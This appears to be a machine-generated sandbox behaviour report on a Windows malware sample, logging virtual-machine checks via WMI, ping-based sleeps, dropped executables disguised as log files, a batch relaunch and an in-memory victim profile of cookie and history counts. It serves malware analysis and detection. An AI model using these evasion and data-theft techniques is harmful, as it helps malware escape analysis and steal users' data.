Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost			Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Memory allocated: 17A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Memory allocated: 1B550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Memory allocated: 1350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Memory allocated: 1AFF0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 599703	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 599141	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 598859	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 595074	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 594187	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 593578	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 593261	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 592922	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 592639	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 592297	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 591937	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 591624	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 590828	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 590547	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 590242	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 589969	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 589781	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 589383	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 589141	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 588797	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 588531	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 588250	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 588073	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587923	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587797	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587682	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587560	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587453	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587344	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587233	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587124	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587015	Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Window / User API: threadDelayed 7328			Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Window / User API: threadDelayed 2245			Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OBFTQueV.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\FXwdgBOn.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\nLVYNftZ.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vrCFbZuL.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YLzRFcIi.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wpdNwZJG.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xzxenIoj.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\FuMllXyT.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\pSQwZPnx.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WBdQFKdi.log	Jump to dropped file

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7348	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7564	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -599889s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -599703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -599141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7720	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -598859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -598484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -597297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7720	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -596391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -596187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -595891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -595074s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -594187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -593578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -593261s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -592922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -592639s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -592297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -591937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -591624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -590828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -590547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -590242s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -589969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -589781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -589383s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -589141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -588797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -588531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -588250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -588073s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -587923s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -587797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -587682s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -587560s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -587453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -587344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -587233s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -587124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe TID: 7736	Thread sleep time: -587015s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\PING.EXE

Last function: Thread delayed

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 599703	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 599141	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 598859	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 595074	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 594187	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 593578	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 593261	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 592922	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 592639	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 592297	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 591937	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 591624	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 590828	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 590547	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 590242	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 589969	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 589781	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 589383	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 589141	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 588797	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 588531	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 588250	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 588073	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587923	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587797	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587682	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587560	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587453	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587344	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587233	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587124	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Thread delayed: delay time: 587015	Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: Z90Z9bYzPa.exe, 00000000.00000002.1711918362.000000001BD83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Z90Z9bYzPa.exe, SgrmBroker.exe.0.dr, dllhost.exe.0.dr, UdtvoblhRrdVjJaLCN.exe0.0.dr, UdtvoblhRrdVjJaLCN.exe1.0.dr, UdtvoblhRrdVjJaLCN.exe.0.dr	Binary or memory string: bi1qeMUr9A
Source: Z90Z9bYzPa.exe, 00000005.00000002.2937873576.000000001BA18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\JcekoaVTX1.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\Z90Z9bYzPa.exe "C:\Users\user\Desktop\Z90Z9bYzPa.exe"	Jump to behavior

Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003380000.00000004.00000800.00020000.00000000.sdmp, Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp, Z90Z9bYzPa.exe, 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"206"},"5.0.1",5,1,"","user","123716","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\user\\Desktop","G5SK7N9 (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.189","US / United States of America","New York / New York City"," / "]
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 5.0.1",5,1,"","user","123716","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\user\\Desktop","G5SK7N9 (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.189","US / United States of
